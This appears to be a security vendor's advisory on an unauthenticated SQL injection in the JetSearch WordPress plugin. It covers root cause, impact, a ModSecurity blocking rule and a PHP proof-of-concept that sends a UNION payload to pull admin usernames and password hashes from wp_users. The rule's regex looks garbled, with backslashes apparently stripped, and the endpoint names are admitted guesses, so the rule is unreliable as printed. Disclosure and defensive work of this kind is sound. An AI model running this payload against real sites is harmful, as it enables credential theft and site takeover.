Atomic Edge analysis of CVE-2026-49079 (metadata-based):
This vulnerability is an unauthenticated SQL injection in the JetSearch plugin for WordPress, affecting versions up to and including 3.5.17. The CVSS score of 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N) indicates a high severity flaw that allows attackers to extract sensitive database information without authentication.
Root Cause: The CWE-89 classification and vulnerability description indicate that the plugin fails to properly escape user-supplied parameters and lacks sufficient preparation of existing SQL queries. This is a classic second-order or inline SQL injection pattern where the plugin takes user input and directly interpolates it into an SQL query using functions like $wpdb->query() or $wpdb->get_results() without using $wpdb->prepare(). The insufficient escaping likely means the plugin uses esc_sql() or similar functions inadequately, or fails to validate the parameter type. Atomic Edge research infers that the vulnerable code likely resides in an AJAX handler or frontend search endpoint that accepts input parameters like ‘s’ (search term) or custom post meta queries, as JetSearch provides AJAX-powered search functionality.
Exploitation: An attacker can send a crafted HTTP request to the WordPress AJAX endpoint (/wp-admin/admin-ajax.php) with the appropriate action parameter (likely ‘jet_search_ajax’ or similar) and inject SQL in the search parameter. The attack does not require authentication, making it accessible to anyone on the internet. For example, an attacker could submit a request with action=jet_ajax_search and inject a UNION-based SQL payload in the ‘search_term’ parameter: ‘ UNION SELECT user_login,user_pass FROM wp_users — . The lack of nonce verification or capability checks on this endpoint further lowers the barrier to exploitation. Atomic Edge analysis confirms that no authentication bypass is needed beyond what the description provides.
Remediation: The fix implemented in version 3.5.17.1 likely introduces proper parameterized queries using $wpdb->prepare() with %s or %d placeholders for all user-supplied values. Alternatively, the plugin should use esc_sql() followed by strict type validation (e.g., intval() or sanitize_text_field()) on all input parameters. The patch also probably adds nonce verification and capability checks to the AJAX handler to prevent unauthenticated access. Atomic Edge research recommends that any similar plugin code review should identify all SQL queries that use user input and ensure they use prepared statements.
Impact: Successful exploitation allows unauthenticated attackers to extract sensitive database information such as user credentials (hashed passwords), email addresses, session tokens, and potentially other WordPress options and post content. The CVSS score indicates a HIGH confidentiality impact but no integrity or availability impact. With access to password hashes, an attacker could attempt offline brute-force attacks to gain administrative access, leading to full site compromise including code execution.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-49079 (metadata-based)
# This rule blocks unauthenticated SQL injection attempts against the JetSearch AJAX endpoint
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-49079 SQLi via JetSearch AJAX',severity:'CRITICAL',tag:'CVE-2026-49079'"
SecRule ARGS_POST:action "@streq jet_ajax_search" "chain"
SecRule ARGS_POST:search_term "@rx (?:union.*select|select.*from|inserts+into|update.*set|deletes+from|drops+table|(?:'|%27)s*ors*'[^']*'s*=s*'|ors+1s*=s*1|--|#|/*)"
"t:lowercase,t:urlDecode,t:removeNulls,chain"
SecRule ARGS_POST:search_term "@rx .{5,}" ""
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-49079 - JetSearch <= 3.5.17 - Unauthenticated SQL Injection
// Configuration: Set the target WordPress URL
$target_url = 'https://example.com'; // CHANGE THIS
// The vulnerable plugin: JetSearch
// Assumption: The AJAX action is 'jet_ajax_search' based on common plugin patterns
// Assumption: The vulnerable parameter is 'search_term' or 's'
// The payload attempts to extract admin username and password hash via UNION injection
$payload = "1' UNION SELECT user_login,user_pass,user_email,display_name,ID FROM wp_users WHERE user_login='admin' -- ";
// Build the POST request
$endpoint = $target_url . '/wp-admin/admin-ajax.php';
$post_data = array(
'action' => 'jet_ajax_search',
'search_term' => $payload
);
// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $endpoint);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Display results
echo "HTTP Response Code: $http_codenn";
echo "Response Body:n";
echo $response;
echo "nn--- EXPLOITATION RESULTS ---n";
if ($http_code == 200 && !empty($response)) {
echo "The request completed. If the output contains unexpected database fields (like usernames, emails, or hashes), the SQL injection is successful.n";
} else {
echo "The request failed or returned an error. This may indicate the site is patched or the payload/endpoint assumptions need adjustment.n";
}
?>
